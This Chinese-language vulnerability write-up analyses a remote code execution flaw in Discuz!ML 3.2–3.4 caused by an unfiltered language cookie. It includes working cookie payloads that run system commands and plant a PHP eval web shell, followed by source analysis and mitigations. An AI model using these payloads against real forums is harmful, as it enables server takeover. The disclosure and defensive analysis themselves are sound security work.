0x00 概述
7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。
0x01 影响范围
Discuz!ML v.3.4 ,
Discuz!ML v.3.2 ,
Discuz!ML v.3.3 product of codersclub.org
0x02 漏洞重现
http://xxx.org/discuzx/portal.php
select english or other language
让请求cookie含有xxxx_xxxx_language
visit http://xxx.org/discuzx/portal.php again
change:4gH4_0df5_language=en’.phpinfo().’;
or
4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;
getshell
LSmZ_2132_language=es'.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.';
0x03 检测工具
https://github.com/theLSA/discuz-ml-rce
0x04 漏洞分析
Discuz ml v3.4 为例
dizcuz-ml-34\upload\source\module\portal\portal_index.php:32
include_once template(‘diy:portal/index’);
包含了template函数渲染的文件
进入template函数看看
dizcuz-ml-34\upload\source\function\function_core.php:524
/*vot*/ $cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php'; if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).'.php') && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.'.htm'))) { $tplfile = './template/default/'.$filebak.'.htm'; } if($gettplfile) { return $tplfile; } checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file); return DISCUZ_ROOT.$cachefile;
返回了缓存文件名
根据poc可知是language可控,那就是DISCUZ_LANG可控了。
再看看在哪里赋值
dizcuz-ml-34\upload\source\class\discuz\discuz_application.php:304
// set language from cookies if($this->var['cookie']['language']) { $lng = strtolower($this->var['cookie']['language']);
从cookie-language取值给$lng
338
$this->var['oldlanguage'] = $lng; // Store Old Language Value for compare // define DISCUZ_LANG define('DISCUZ_LANG', $lng); // set new language to cookie dsetcookie('language', $lng); // set new language variables $this->var['language'] = $lng;
$lng赋值给了DISCUZ_LANG
根据poc
q3KZ_2132_language=sc’.system(‘whoami’).’;
最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’;
包含闭合引号导致执行了代码。
/×
执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887
×/
0x05 防御方案
1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all
2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。
3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。
0x06 结语
Easy to rce!
从部分代码来看貌似这个功能还不太完善……
dizcuz-ml-34\upload\source\function\function_core.php:2089
if($_G['config']['output']['language'] == 'zh_cn') { return 'SC_UTF8'; } elseif ($_G['config']['output']['language'] == 'zh_tw') { return 'TC_UTF8'; } else { //vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!! /*vot*/ return strtoupper(DISCUZ_LANG) . '_UTF8';
0x07 参考资料
http://esoln.net/esoln/blog/2019/06/14/discuzml-v-3-x-code-injection-vulnerability/
https://www.chabug.org/web/671.html